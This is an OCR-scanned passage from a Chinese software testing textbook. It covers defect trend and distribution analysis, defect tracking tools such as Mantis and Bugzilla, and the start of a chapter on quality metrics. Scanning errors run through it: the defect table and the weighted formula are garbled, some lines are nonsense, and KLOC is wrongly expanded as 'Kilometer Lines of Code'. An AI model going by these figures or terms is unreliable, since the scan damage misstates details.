软件 质量 标准 一 般 要 求 : 在 测试 结束 前 高 优先 级 (P1、P2) 的 缺陷 必须 被 全 部 处 理 完 ,所 以 
有 必要 监控 这 类 缺陷 随时 间 的 变化 ,例如 ,生成 相应 的 趋势 图 ,以 判断 整个 产品 开发 是 否 按 预 
期 进度 进行 ,测试 是 否 可 以 按时 结束 。 

在 一 个 成 熟 的 软件 开发 过 程 中 ,缺陷 趋势 会 遵循 着 一 种 和 预测 比较 接近 的 模式 向 前 发 展 。 
在 生命 周期 的 初期 ,缺陷 率 增长 很 快 。 在 达到 顶峰 后 ,就 随时 间 以 较 慢 的 速率 下 降 , 如 图 13-6 


所 示 。 可 以 根据 这 一 趋势 复审 项 目 时 间 表 ,例如 ,4 个 星期 的 测试 周期 ,在 第 三 个 星期 缺陷 率 
仍然 增长 , 则 显示 项 目 有 问题 ,需要 审视 代码 质量 , 找 出 问题 的 根本 原因 ,必要 时 需要 调整 项 目 
进度 表 。 
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图 13-6 软件 测试 过 程 中 发 现 缺陷 数理 想 趋 势 图 


实际 测试 过 程 中 ,可 能 出 现 一 些 波动 现象 ,而 且 测 试 过 程 要 经 过 单元 测试 、 集 成 测试 ,功能 
测试 ,系统 测试 .验收 测试 等 不 同 的 阶段 ,其 波动 趋势 会 表现 为 周期 性 。 

这 种 趋势 分 析 还 可 以 延伸 到 已 修复 的 .已 关闭 的 软件 缺陷 ,用 来 评估 开发 团队 所 做 出 的 努 
力 。 理 想 情况 下 ,已 修复 的 .已 关闭 的 缺陷 数 和 所 发 现 的 缺陷 数 发 展 趋势 相同 或 相近 ,只 有 滞 
后 效应 。 特 别 是 对 P1、P2 优先 级 的 缺陷 ,要 及 时 被 修复 .关闭 ,这 种 关闭 缺陷 的 速率 应 该 维持 
在 与 打开 缺陷 的 速率 相同 的 水 准 上 ,滞后 时 间 不 宜 超过 三 天 ,才能 保证 项 目 顺利 进行 。 趋 势 图 
的 数据 采用 缺陷 累计 数量 比较 好 ,曲线 的 趋势 更 稳定 、 更 具有 规律 性 ,如 图 13-7 所 示 。 在 项 目 
开始 时 ,发 现 更 多 的 缺陷 ,新 缺陷 的 速率 快 ,关闭 缺陷 的 速度 也 快 ,但 随 着 时 间 推移 ,该 速率 不 
断 降低 ,而且 关闭 的 趋势 与 新 缺陷 的 趋势 相似 ,但 滞后 一 周 。 当 新 发 现 的 缺陷 累积 曲线 在 一 条 
渐 近 水 平 线 时 ,说 明 新 发 现 的 缺陷 越 来 越 少 ,产品 质量 逐渐 稳定 下 来 ,通常 意味 着 测试 快 结束 
了 。 在 测试 和 修复 的 过 程 中 ,这 些 曲 线 在 不 断 地 收敛 , 当 收 敛 非常 接近 时 ,开发 人 员 基 本 上 完 
成 了 修复 软件 缺陷 的 任务 了 。 并 且 注 意 到 关闭 曲线 紧 跟 在 打开 曲线 的 后 面 ,这 表明 项 目 小 组 
正在 快速 地 推进 问题 的 解决 。 


一 一 新 缺陷 累计 数 
300 门 - -。- -修复 的 缺陷 累计 数 
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图 13-7 新 发 现 的 修复 的 ,关闭 的 累计 缺陷 数 的 理想 趋势 图 


图 13-7 给 出 了 一 个 理想 的 趋势 图 。 实 际 情 况 并 非 如 此 ,有 些 差异 是 自然 的 ,但 如 果 有 显 
著 差 异 , 则 可 能 表明 存在 问题 一 一 如 测试 方法 不 对 、 测 试 能 力 不 足 、 缺 陷 处 理 流 程 有 问题 或 修 
复 缺陷 所 需 的 资源 不 足 等 。 

通过 缺陷 龄 期 .缺陷 发 现 率 等 分 析 , 可 了 解 有 关 测 试 有 效 性 和 清除 缺陷 的 状态 。 例 如 ,如 
果 存 在 大 量 龄 期 较 长 的 、 未 验证 的 已 修正 的 缺陷 , 则 可 能 表明 没有 充足 的 测试 人 员 。 微 软 公 
司 就 利用 发 现 的 缺陷 数 和 关闭 的 缺陷 数 趋 势 图 , 找 出 缺陷 的 收敛 点 ,来 预测 产品 的 下 一 个 阶段 
计划 ,如 图 13-8 所 示 。 当 出 现 没 有 激活 状态 缺陷 的 第 一 个 时 间 , 被 定义 为 零 Bug 反弹 点 (Zero 
Bug Bounce,ZBB) ,从 这 一 时 刻 开始 ,产品 进入 稳定 期 。 
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13-8 微软 公司 基于 缺陷 趋势 图 的 里 程 碑 定义 


13.4.3 缺陷 分 布 分 析 


对 缺陷 进行 分 析 , 确 定 测试 是 否 达到 结束 的 标准 ,也 就 是 判定 测试 是 否 已 达到 用 户 可 接受 
的 状态 。 在 评估 缺陷 时 应 遵照 缺陷 分 析 策 略 中 制定 的 分 析 标 准 , 最 常用 的 缺陷 分 析 方法 有 以 
下 4 种 。 

(1) 缺陷 分 布 报告 。 允 许 将 缺陷 计数 作为 一 个 或 多 个 缺陷 参数 的 函数 来 显示 ,生成 缺陷 
数量 与 缺陷 属性 的 函数 。 如 测试 需求 和 缺陷 状态 .严重 性 的 分 布 情况 等 。 

(2) 缺陷 趋势 报告 。 按 各 种 状态 将 缺陷 计数 作为 时 间 的 函数 显示 。 趋 势 报 告 可 以 是 累计 
的 ,也 可 以 是 非 累 计 的 ,可 以 看 出 缺陷 增长 和 减少 的 趋势 。 

(3) 缺陷 年 龄 报告 。 是 一 种 特殊 类 型 的 缺陷 分 布 报告 ,显示 缺陷 处 于 活动 (Active， 
Open) 状 态 的 时 间 ,展示 一 个 缺陷 处 于 某 种 状态 的 时 间 长 短 ,从 而 了 解 处 理 这 些 缺 陷 的 进度 
情况 。 

(4) 测试 结果 进度 报告 。 展 示 测 试 过 程 在 被 测 应 用 的 几 个 版 本 中 的 执行 结果 以 及 测试 周 
期 ,显示 对 应 用 程序 进行 若干 次 迭代 和 测试 生命 周期 后 的 测试 过 程 执行 结果 。 

这 些 分 析 为 软件 质量 、 项 目 管理 .开发 过 程 改 进 等 提供 了 判断 依据 。 例 如 ,预期 缺陷 发 现 
率 将 随 着 测试 进度 和 修复 进度 而 最 终 减少 ,这 样 可 以 设 定 一 个 阔 值 ,在 缺陷 发 现 率 低 于 该 阔 值 
时 才能 部 署 该 软件 。 

例如 ,在 功能 分 布 上 缺陷 分 析 , 可 以 了 解 哪 些 功能 模块 处 理 比较 难 、 哪 些 功能 模块 程序 质 
量 比 较 差 ,有 利于 程序 质量 的 改进 和 提高 。 进 一 步 分 析 , 可 以 计算 出 P1 优先 级 缺陷 从 报告 到 
关闭 所 需要 的 平均 时 间 , 就 可 以 知道 开发 人 员 是 否 按照 要 求 去 做 ,一 般 来 说 Pl 优先 级 缺陷 规 
定 必须 在 24h 之 内 被 解决 。 再 比如 ,各 个 级 别 的 缺陷 数量 一 般 遵 守 这 样 的 规律 : Pl<<P2 二 P3。 


如 果 不 符合 正常 缺陷 分 布 ,如 图 13-9 所 示 , 可 能 说 明代 码 质 量 不 好 ,需要 进一步 分 析 , 找 出 其 
根本 原因 。 


图 13-9 缺陷 的 4 种 优先 级 分 布 


分 析 软 件 缺 陷 根本 原因 不 仅 有 助 于 测试 人 员 决 定 哪些 功能 领域 需要 增强 测试 ,而 且 可 以 

使 开发 人 员 的 注意 力 集中 到 那些 引起 问题 最 严重 ,最 频繁 的 领域 。 图 13-10 显示 了 软件 缺陷 

产生 的 三 个 主要 来 源 一 一 用 户 界面 显示 、 业 务 逻辑 和 规格 说 明 书 , 占 软 件 缺 陷 总 数 的 75%。 

如 果 从 测试 风险 角度 看 ,这 些 区 域 可 能 是 隐藏 缺陷 比较 多 的 地 方 ,需要 测试 更 细 、 更 深 些 。 从 

开发 角度 来 说 ,这 些 就 是 提高 代码 质量 的 主要 区 域 , 假 定 某 个 产品 前 后 发 现 1000 个 Bug, 代 码 

在 这 三 个 区 域 减少 一 半 , 则 总 缺陷 数 能 减少 37.5% ,减少 375 个 缺陷 ,代码 质量 改善 效果 就 会 
显著 。 

不 是 缺陷 技术 设计 矶 知 。 数据 过 和 抽取 
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13-10 根本 原因 图 表 


13.4.4 ”缺陷 跟踪 方法 


缺陷 数据 是 生成 各 种 各 样 测试 分 析 、 质 量 控制 图 表 的 基础 ,从 上 述 缺陷 分 析 中 可 以 清楚 地 
了 解 缺 陷 的 发 现 过 程 、 修 复 过 程 以 及 各 类 缺陷 的 分 布 情况 ,从 而 能 够 有 效 地 跟踪 缺陷 ,改进 测 
试 过 程 ,督促 开发 人 员 的 工作 进度 ,最 终 保证 项 目 按时 完成 。 

1. 当前 缺陷 状态 

软件 缺陷 情况 可 以 基本 反映 项 目的 状态 ,例如 通过 如 表 13-8 所 示 软 件 缺陷 列表 可 以 反映 
项 目的 缺陷 状态 。 


表 13-8 软件 缺陷 列表 


级 别 | 总 数 | 未 处 理 的 | 正在 处 理 的 | 修正 的 ”| 不 是 缺陷 | 重复 的 ”| 暂 不 处 理 关闭 
致命 的 2 0 0 0 0 0 
严重 的 | 216 18 7 5 六 4 20 161 
一 般 的 | 31 23 1 0 0 0 0 入 
微小 的 5 2 0 0 0 3 0 0 

2. 项 目 发 展 趋势 


缺陷 打开 /关闭 图 表 是 最 基本 的 缺陷 分 析 图 表 , 它 能 提供 许多 有 关 软 件 缺陷 ,项 目 进度 , 产 
品质 量 、 开 发 人 员 的 工作 等 信息 。 

(1) 项 目 目前 的 质量 情况 取决 于 累积 打开 曲线 和 累积 关闭 曲线 的 趋势 。 

(2) 项 目 目 前 的 进度 取决 于 累积 关闭 曲线 和 累积 打开 曲线 起 点 的 时 间 差 。 

(3) 开发 人 员 已 经 完成 修复 软件 缺陷 了 吗 ? 累积 关闭 曲线 是 否 快速 地 上 升 ? 

(4) 测试 人 员 是 否 积极 地 去 验证 软件 缺陷 , 即 累 积 关 闭 曲线 是 否 紧 跟 在 累积 打开 曲线 后 面 ? 

管理 者 可 以 知道 项 目 在 哪 一 个 时 间 点 出 现 问 题 ,同时 协调 开发 和 测试 之 间 的 关系 ,积极 推 
动 项 目的 发 展 , 从 而 达到 项 目 里 程 碑 的 要 求 ,提高 项 目 发 布 的 质量 。 例 如 ,从 一 个 测试 阶段 到 
另 一 个 测试 阶段 时 ,如 果 发 现 新 发 现 的 缺陷 累积 曲线 有 一 个 突起 ,这 样 的 凸 起 就 要 引起 我 们 的 
注意 ,可 能 说 明 开发 人 员 修 复 软件 缺陷 时 引入 了 较 多 的 回归 缺陷 或 者 有 些 软件 缺陷 被 遗漏 到 
下 一 个 阶段 发 现 了 。 项 目 管理 人 员 需 要 召开 紧急 会 议 分 析 当 前 项 目 情况 ,找到 解决 办 法 。 


13.5 软件 缺陷 跟踪 系统 


一 般 来 说 ,缺陷 报告 .跟踪 和 处 理 都 会 通过 一 个 基于 Web 和 数据 库 的 缺陷 管理 系统 来 支 
持 ,而 不 能 简单 地 通过 字 处 理 软件 和 表格 处 理 软件 (如 微软 公司 Word、Excel 文档 ?来 处 理 。 
如 果 没 有 一 套 特定 的 系统 来 帮助 管理 缺陷 ,那么 缺陷 处 理 效率 会 很 低 。 例 如 ,不 能 自动 发 邮件 
通知 相关 人 员 ,将 来 也 无 法 进行 有 效 的 查询 ,数据 统计 分 析 等 工作 。 如 果 采 用 特定 的 系统 来 管 
理 缺 陷 , 那 么 就 会 带 来 不 少 益处 。 例 如 : 

(1) 基于 缺陷 数据 库 , 不 仅 可 以 统一 数据 格式 、 完 成 数据 校 验 ,而 且 可 以 确保 每 一 个 缺陷 
不 会 被 忽视 ,使 开发 人 员 的 注意 力 保持 在 那些 必须 尽快 修复 的 高 优先 级 的 缺陷 上 。 

(2) 基于 数据 库 系 统 ,可 以 随时 建立 符合 各 种 需求 的 查询 条 件 ,而 且 有 利于 建立 各 种 动态 
的 数据 报表 ,用 于 项 目 状态 报告 和 缺陷 数据 统计 分 析 。 

(3) 基于 系统 可 以 随时 得 到 最 新 的 缺陷 状态 ,项 目 相 关 部 门 和 人 员 获 得 一 致 又 准确 的 信 
息 ,掌握 相同 的 实际 情况 ,消除 沟通 上 的 障碍 。 

(4) 基于 系统 可 以 将 缺陷 和 测试 用 例 、 需 求 等 关联 起 来 ,完成 更 深度 的 分 析 , 有 利于 产品 
的 质量 改进 等 。 

所 有 缺陷 的 数据 不 仅 要 存储 在 共享 数据 库 中 ,还 要 有 相关 的 数据 连接 ,如 产品 特性 数据 
库 、 产 品 配置 数据 库 、 测 试用 例 数据 库 等 的 集成 。 因 为 某 个 缺陷 是 和 某 个 产品 特性 、 某 个 软件 
版 本 、 某 个 测试 用 例 等 相关 联 的 ,有 必要 建立 起 这 些 关 联 。 同 时 为 了 提高 缺陷 处 理 的 效率 ,还 
有 和 邮件 服务 器 集成 ,通过 邮件 传递 ,测试 和 开发 人 员 随 时 可 以 获得 由 系统 自动 发 出 有 关 缺 陷 
状态 变化 的 邮件 。 


简单 的 缺陷 跟踪 系统 比较 容易 实现 ,可 以 自己 开发 ,也 就 是 用 数据 库 来 记录 表 13-7 中 各 
项 缺陷 信息 ,并 提供 一 些 基 本 的 查询 条 件 。 但 是 ,已 经 有 不 少 现存 的 缺陷 跟踪 系统 供 我 们 选 
用 ,可 以 选用 开源 软件 系统 ,也 可 以 选用 商业 化 软件 产品 ,无 须 自己 开发 。 


1. 开源 的 缺陷 管理 系统 


(1) Mantis, 一 款 基于 Web 的 软件 缺陷 管理 工具 ,配置 和 使 用 都 很 简单 ,适合 中 小 型 软件 


开发 团队 , 详 见 http://mantisbt. sourceforge. net/ 。 


(2) Bugzilla: 比较 流行 的 缺陷 管理 工具 , 详 见 http://www. mozilla. org/ projects/ bugzilla/ 。 


(3) Bugzero: http://bugzero. findmysoft. com/。 


(4) Scarab: http://scarab. tigris. org/ 。 


(5) TrackIT: http://trackit. sourceforge. net/。 


(6) Itracker: http://www. itracker. org/。 


2. 商业 的 缺陷 跟踪 系统 


(1) JIRA: http://www. atlassian. com。 


(2) IBM ClearQuest: http://www-01. ibm. com/software/awdtools/clearquest/。 


(3) Compuware TrackRecord: http://www. compuware. com/trackrecord. htm 。 


(4) HP TestDirector: http://www. hp. com/。 


(5) TestTrack Pro: http://www. seapine. com/ttpro. html。 


(6) DevTrack: www. techexcel. com/products/devsuite/devtrack. html。 


(7) Borland Segue SilkCentral Issue Manager 等 。 


3. Mantis 缺陷 管理 工具 的 特点 


Mantis(http://mantisbt. sourceforge. net/) 是 一 款 基 于 Web 的 软件 缺陷 管理 工具 ,配置 
和 使 用 都 很 简单 ,其 主要 功能 如 图 13-11 所 示 。 其 功能 特点 如 下 。 
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(1) 支持 多 项 目 ,多 语言 ; 

(2) 权限 设置 灵活 ,不 同 角色 有 不 同 权限 ,还 支持 自 定义 角色 ; 

(3) 可 以 建立 缺陷 之 间 的 关联 或 依赖 关系 .从 而 更 有 效 地 管理 项 目 ; 

(4) 缺陷 统计 分 析 功 能 比较 强 , 有 多 种 直方 图 和 圆 饼 图 ,并 能 导出 CSV 文件 供 Excel 做 进 
一 步 分 析 ; 

(5) 有 自 定义 字段 功能 ,可 以 满足 企业 的 一 些 特殊 要 求 ; 

(6) 缺陷 可 以 在 不 同 项 目 间 移 动 ; 

(7) 主页 可 发 布 公告 ,项目 相关 新 闻 ,方便 信息 传播 ; 

(8) 个 人 可 定制 的 E-mail 通知 功能 ,每 个 用 户 可 根据 自身 的 工作 特点 订阅 相关 的 缺陷 状 
态 邮 件 ; 

(9) 可 以 定制 软件 公司 特定 的 缺陷 处 理 流程 。 


小 结 


在 软件 测试 项 目的 管理 中 ,会 遇 到 一 系列 的 问题 ,如 软件 质量 标准 定义 不 准确 任务 边界 
模糊 、 软 件 测试 项 目的 变化 控制 和 预警 分 析 要 求 高 .项目 成 员 的 责任 心 和 稳定 性 对 测试 项 目的 
质量 有 很 大 的 影响 等 。 因 此 ,软件 测试 项 目的 执行 与 监控 非常 重要 ,工作 更 需要 细致 ,做 好 沟 
通 、 各 个 环节 的 风险 控制 ,流程 跟踪 等 。 

本 章 还 讲解 了 缺陷 报告 和 处 理 的 规范 过 程 ,包括 缺陷 描述 的 基本 信息 和 缺陷 生命 周期 。 
除 此 之 外 ,还 介绍 了 如 何 正确 ,有 效 地 描述 软件 缺陷 ,并 借助 像 WinDbg .Soft-ICE 等 工具 提供 
各 种 必要 的 信息 ,以 及 开发 人 员 和 测试 人 员 如 何 协同 工作 ,分 离 .跟踪 和 处 理 软 件 缺陷 ,以 保证 
优先 级 高 的 缺陷 能 及 时 得 到 解决 。 

我 们 需要 建立 软件 缺陷 跟踪 数据 库 或 系统 ,收集 各 种 软件 缺陷 的 数据 ,进行 趋势 分 析 和 分 
布 性 分 析 , 了 解 测试 的 进度 和 产品 质量 状况 ,并 找到 软件 开发 过 程 中 薄弱 的 环节 ,改进 软件 开 
发 过 程 。 


1. 软件 缺陷 生命 周期 中 有 哪些 基本 状态 ? 讨论 软件 缺陷 可 能 得 不 到 修复 的 几 个 原因 。 
2. 如 何 有 效 地 描述 软件 缺陷 ? 软件 缺陷 报告 包括 哪些 组 成 部 分 ? 
3. 安装 和 试用 一 个 软件 缺陷 跟踪 系统 ,如 Mantis 或 Bugzilla。 
4 如果 某 项 目 中 软件 缺陷 发 现 速度 下 降 ,测试 人 员 对 项 目 即 将 关闭 准备 发 布 表示 兴奋 ， 
请 问 可 能 有 哪些 原因 会 造成 这 种 假象 ? 


CHAPTER 14 


第 14 章 
软件 测试 和 质量 分 析 报 告 


当 测 试 执行 快要 结束 时 ,就 要 考虑 对 测试 工作 进行 总 结 ,编制 测试 
报告 。 借 助 测试 报告 ,公司 管理 人 员 和 用 户 就 能 够 了 解 该 项 目的 测试 是 
如 何 进 行 的 ,确定 软件 产品 是 否 得 到 足够 的 测试 以 及 对 测试 结果 是 否 满 
意 等 。 测 试 报告 的 写作 是 一 项 关键 的 工作 ,需要 对 整个 测试 过 程 进 行 检 
查 、 评 估 和 分 析 , 并 对 当前 的 软件 产品 质量 也 要 进行 评估 ,从 而 针对 产品 
是 否 达 到 发 布 的 质量 给 出 结论 。 在 对 软件 产品 及 其 测试 进行 评估 的 过 
程 中 ,经 常 通过 询问 下 列 问题 以 彻底 地 了 解 测试 所 执行 的 情况 。 

(1) 单元 测试 采用 什么 方法 和 工具 ? 代码 行 覆盖 率 是 否 达到 所 设 
定 的 目标 ? 

(2) 集成 测试 是 否 全 面 验证 了 所 有 接口 及 其 参数 ? 

(3) 测试 用 例 是 否 经 过 开发 人 员 ,产品 经 理 的 严格 评审 ? 

(4) 系统 测试 是 否 包含 性 能 .兼容 性 .安全 性 恢复 性 等 各 项 测试 ? 
如 果 执 行 了 ,又 是 怎么 进行 的 ? 结果 如 何 ? 

(5) 是 否 完成 了 测试 计划 所 要 求 的 各 项 测试 内 容 ? 

(6) 需要 执行 的 测试 用 例 是 否 百分之百 地 完成 了 ? 

(7) 是 否 所 有 严重 的 Bug 都 修正 了 ? 

类 似 这 些 问 题 都 得 到 肯定 的 答案 之 后 ,说 明 测试 比较 充分 ,测试 工 
作 基 本 完成 。 只 有 确认 系统 得 到 了 充分 的 测试 之 后 ,针对 测试 结果 所 做 
出 的 分 析 才 有 很 好 的 可 靠 性 和 准确 性 ,测试 人 员 对 自己 所 得 出 的 结论 才 
有 足够 的 信心 。 要 写 好 测试 报告 ,问题 就 归结 为 一 一 如 何 对 测试 过 程 和 
结果 进行 科学 的 .恰当 的 评估 ? 


14.1 软件 产品 的 质量 度量 


在 讨论 软件 产品 质量 度量 之 前 , 先 简单 了 解 一 下 软件 度量 的 基本 概 
念 ,内 容 和 方法 。 软 件 度量 是 根据 一 定 的 规则 ,将 数字 或 符号 赋予 系统 、 
构件 .过 程 等 实体 的 特定 属性 ,从 而 能 清晰 地 理解 该 软件 实体 及 其 属性 
的 量化 表示 。 简 而 言 之 ,软件 度量 就 是 对 软件 所 包含 的 各 种 属性 的 量化 
表示 。 软 件 度量 可 以 提供 深入 了 解 软件 过 程 和 产品 的 衡量 指标 ,使 组 织 
能 够 更 好 地 做 出 决策 以 达成 目标 ,软件 度量 具有 如 下 作用 。 


(1) 用 数据 指标 表明 验收 标准 ; 

(2) 监控 项 目 进度 和 预见 风险 ; 

(3) 分 配 资源 时 进行 量化 均衡 ; 

(4) 预计 和 控制 产品 的 过 程 .成 本 和 质量 。 

所 以 说 ,软件 度量 是 用 来 衡量 软件 过 程 质量 和 进行 软件 过 程 改进 的 重要 手段 。 但 是 ,为 了 
保持 数据 的 可 靠 性 、 客 观 性 和 准确 性 ,必须 保证 度量 结果 不 用 于 评价 数据 提供 者 的 个 人 工作 绩 
效 或 素质 。 


14.1.1 软件 度量 及 其 过 程 


软件 度量 一 般 可 分 为 软件 过 程度 量 、 项 目 度量 和 产品 质量 度量 ,本 节 主 要 讨论 产品 质量 度 
量 。 针 对 软件 产品 的 质量 度量 ,会 建立 在 软件 产品 的 规模 度量 .复杂 度 度量 和 缺陷 度量 的 基 
础 上 。 

(1) 规模 度量 : 代码 行 数 ,以 千 行 源 代码 (KLOC) 为 基准 , 它 是 工作 量度 量 、 进 度 度量 的 
基础 。 

(2) 复杂 度 度量 : 分 析 和 估算 软件 产品 结构 及 其 各 部 分 的 复杂 度 指标 ,以 便 选择 最 可 靠 
的 程序 设计 方法 ,确定 测试 策略 。 

(3) 缺陷 度量 : 获取 产品 缺陷 变化 的 状态 ,以 指示 修复 缺陷 活动 所 需 的 工作 量 ; 或 分 析 产 
品 缺陷 分 布 的 情况 ,以 指示 需要 加 强 何 种 研发 活动 ,需要 何 种 技术 培训 ; 或 预测 产品 的 遗留 缺 
陷 情 况 , 以 分 析 产 品 发 布 后 缺陷 的 影响 程度 和 范围 。 

根据 度量 目标 、 内 容 和 要 求 的 不 同 ,度量 活动 可 能 涉及 一 个 项 目的 所 有 人 员 , 也 可 能 会 包 
括 各 种 活动 的 数据 的 收集 与 分 析 。 软 件 度量 的 根本 目的 是 通过 量化 的 分 析 和 总 结 ,提高 软件 
开发 效率 ,降低 软件 缺陷 和 开发 成 本 ,提高 软件 产品 质量 。 为 了 说 明 软 件 度量 的 过 程 ,这 里 以 
目标 驱动 的 度量 活动 为 例 。 目 标 驱 动 的 软件 度量 过 程 主要 包括 以 下 5 个 阶段 。 

(1) 识别 目标 。 根 据 管理 者 的 不 同 要 求 , 分 析出 度量 的 工作 目标 ,并 根据 其 优先 级 和 可 行 
性 ,得 到 度量 活动 的 工作 目标 列表 ,并 由 管理 者 审核 确认 。 

(2) 定义 度量 过 程 。 根 据 各 个 度量 目标 ,分 别 定义 其 收集 要 素 .收集 过 程 . 分 析 、 反 馈 过 
程 IT 支持 体系 ,为 具体 的 收集 活动 ,分 析 、 反 馈 活动 和 IT 设备 .工具 开发 提供 指导 。 具 体 的 
定义 内 容 如 下 。 

J@ 要 素 : 定义 收集 活动 和 分 析 活 动 所 需要 的 数据 要 素 与 收集 表格 。 

@ 过 程 : 定义 数据 收集 活动 的 形式 、 角 色 及 数据 的 存储 。 

@ 分 析 反馈 过 程 : 定义 对 数据 的 分 析 方法 和 分 析 报告 的 反馈 形式 。 

@ IT 支持 体系 : 定义 IT 支持 设备 和 工具 ,以 协助 数据 收集 和 存储 、 分 析 。 

(3) 搜集 数据 。 根 据 度 量 过 程 的 定义 ,借助 IT 基础 设施 (或 支持 工具 ) 进 行 数据 收集 工 
作 , 并 按 指定 的 方式 审查 和 存储 。 在 规定 的 度量 活动 完成 (或 阶段 性 的 度量 活动 完成 ) 后 ,度量 
小 组 获得 数据 收集 的 结果 。 

(4) 数据 分 析 与 反馈 。 根 据 数据 收集 结果 ,度量 小 组 按照 已 定义 的 分 析 方 法 进行 数据 分 
析 ,完成 规定 格式 的 图 表 , 向 相关 的 管理 者 和 数据 提供 者 进行 反馈 。 

(5) 过 程 改进 。 根 据 度 量 的 分 析 报告 ,管理 者 确定 软件 开发 活动 与 计划 之 间 是 否 有 偏差 ， 


以 便 控制 其 执行 ;或 者 基于 度量 数据 做 出 其 他 决策 ,这 些 决 策 可 能 包括 滚动 计划 、 纠 正 活 
动 等 。 

其 中 ,识别 目标 ?和 ”定义 度量 过 程 ? 是 保证 成 功 搜集 数据 和 分 析 数 据 的 先决 条 件 ,是 度量 
过 程 最 重要 的 阶段 ;“ 过 程 改进 "是 度量 的 最 终 目的 。 

对 于 软件 度量 过 程 而 言 ,在 改进 过 程 中 也 评估 度量 过 程 自身 的 完备 性 。 度 量 核 心 小 组 根 
据 本 次 度量 活动 所 发 现 的 问题 ,将 对 度量 过 程 做 出 变革 ,以 提高 度量 活动 的 效率 ,或 者 更 加 符 
合 组 织 的 商业 目标 。 


有 效 软件 度量 的 属性 

(1) 简单 的 和 可 计算 的 。 学 习 如 何 导出 度量 值 应 该 是 相对 简单 的 ,并 且 其 计算 不 应 该 
要 求 过 多 的 工作 量 和 时 间 。 

(2) 经 验 和 直觉 上 有 说 服 力 。 度 量 应 该 符合 软件 工程 师 对 于 软件 过 程 和 产品 的 直觉 
概念 ,如 测度 模块 内 聚 性 的 度量 值 应 该 随 着 内 聚 度 的 提高 而 提高 。 

(3) 一 致 的 和 客观 的 。 度 量 不 会 产生 二 义 性 的 结果 ,任何 独立 的 第 三 方 使 用 该 软件 的 
相同 信息 能 够 得 到 相同 的 度量 值 。 

(4) 在 其 单位 和 维度 的 使 用 上 是 一 致 的 。 度 量 的 数学 计算 应 该 使 用 不 会 导致 奇异 单 
位 组 合 的 测度 。 例 如 ,把 项 目 队伍 的 人 员 乘 以 程序 中 的 编程 语言 的 变量 会 引起 一 个 直觉 上 
没有 说 服 力 的 单位 组 合 。 

(5)) 编程 语言 独立 的 。 度 量 应 该 基于 分 析 模型 ,设计 模型 或 程序 本 身 的 结构 ,而 不 依 
赖 于 编程 语言 的 句法 和 语法 。 

(6) 质量 反馈 的 有 效 机 制 。 度 量 会 为 软件 开发 效率 、 产 品质 量 等 提供 积极 的 信息 。 


14.1.2 软件 质量 的 度量 


客户 需求 是 软件 质量 度量 的 基础 ,不 符合 客户 需求 的 软件 就 没有 质量 。 定 量 的 软件 评估 
就 是 基于 这 样 的 原则 来 通过 数学 模型 来 实现 ,也 就 是 尺度 度量 (Metrics Measurement ) 的 方 
法 ,这 种 定量 度量 适用 于 一 些 能 够 直接 度量 的 特性 ,包括 软件 可 靠 性 度量 ,复杂 度 度量 .缺陷 度 
量 和 规模 度量 ,如 程序 出 错 率 可 定义 为 每 千 行 代码 (Kilometer Lines of Code, KLOC) 所 含有 
的 Bug 数 。 为 了 进行 质量 度量 ,需要 根据 质量 模型 (McCall 模型 .Boehm 模型 或 ISO 9126 模 
型 ,如 2.1.1 节 描述 ) 来 准备 足够 的 数据 ,然后 进行 产品 质量 的 量化 评估 分 析 。 

(1) 明确 性 、 正 确 性 、 可 理解 性 、 完 全 性 、 可 验证 性 ,一 致 性 ,简洁 性 、 可 追踪 性 、 可 修改 性 、 
精确 性 和 可 复 用 性 的 数据 。 这 些 数据 可 以 用 来 评价 分 析 模 型 和 相应 的 质量 表现 特征 。 

(2) 公开 的 可 能 缺陷 数 与 报告 总 缺陷 数 的 对 比 则 可 以 用 来 评价 测试 精确 度 和 测试 覆盖 
度 , 同 时 也 可 以 预测 项 目 发 布 时 间 。 

(3) 产品 发 布 前 清除 的 缺陷 数 在 总 缺陷 数 中 所 占 的 百分比 ,有 助 于 评估 产品 的 质量 。 

(4) 按 严 重 缺陷 、 子 系统 缺陷 来 划分 ,分 类 统计 出 平均 修复 时 间 , 这 样 将 有 助 于 规划 纠正 
缺陷 的 工作 。 

(5) 利用 测试 的 统计 数据 ,估算 可 维护 性 可靠 性 、 可 用 性 和 原 有 故障 总 数 等 数据 。 这 些 
数据 将 有 助 于 评估 应 用 软件 的 稳定 程度 和 可 能 产生 的 失败 。 


根据 质量 模型 和 上 述 观点 ,就 可 以 用 下 列 带 加权 因 子 的 回归 公式 来 度量 质量 : 
M;=c Xfitc Xfitte Xf 
M; 是 一 个 软件 质量 因素 (如 SQRC 层 各 项 待 计算 值 ) , f, 是 影响 质量 因素 的 度量 值 (如 
SQDC 层 各 项 估计 值 ),c, 是 加 权 因 子 。 部 分 度量 值 可 以 获得 统计 数据 结果 ,还 有 部 分 的 度 
量 值 较 难 得 到 准确 的 量化 值 , 要 靠 经 验 估算 ,如 通过 检查 表 的 形式 ,让 专家 给 这 些 特定 属性 
打分 。 


14.1.3 质量 度量 的 统计 方法 


质量 度量 的 统计 方法 ,是 对 质量 评估 量化 的 一 种 比较 常用 的 方法 ,主要 包含 以 下 步骤 。 

(1) 收集 和 分 类 软件 缺陷 信息 ; 

(2) 找 出 导致 每 个 缺陷 的 原因 (如 没有 正确 理解 客户 需求 .不 符合 规格 说 明 书 \ 设 计 错 误 、 
代码 错误 .数据 处 理 错误 .违背 标准 .界面 不 友好 等 ); 

(3) 使 用 Pareto 规则 (80% 缺 陷 主要 是 由 20% 的 主要 因素 造成 的 ,20% 缺 陷 是 由 另外 
80% 的 次 要 因素 造成 的 ) ,要 将 这 20% 的 主要 因素 分 离 出 来 ; 

(4) 一 旦 标 出 少数 的 主要 因素 ,就 比较 容易 纠正 引起 缺陷 的 问题 。 

为 了 说 明 这 一 过 程 ,假定 软件 开发 组 织 收集 了 为 期 一 年 的 缺陷 信息 。 有 些 错 误 是 在 软件 
开发 过 程 中 发 现 的 ,其 他 缺陷 则 是 在 软件 交付 给 最 终 用 户 之 后 发 现 的 。 尽 管 发 现 了 数 以 百 计 
的 不 同类 型 的 错误 ,但 是 所 有 错误 都 可 以 追溯 到 下 述 原因 中 的 一 个 或 几 个 。 

(1) 说 明 不 完整 或 说 明 错误 (IES) 

(2) 与 客户 交流 不 够 所 产生 的 误解 (MCC) 

(3) 故意 与 说 明 偏离 (IDS) 

(4) 违反 编程 标准 (VPS) 

(5) 数据 表示 有 错 (EDR) 

(6) 模块 接口 不 一 致 (IMI) 

(7) 设计 逻辑 有 错 (EDL) 

(8) 不 完整 或 错误 的 测试 (IET) 

(9) 不 准确 或 不 完整 的 文档 (IID) 

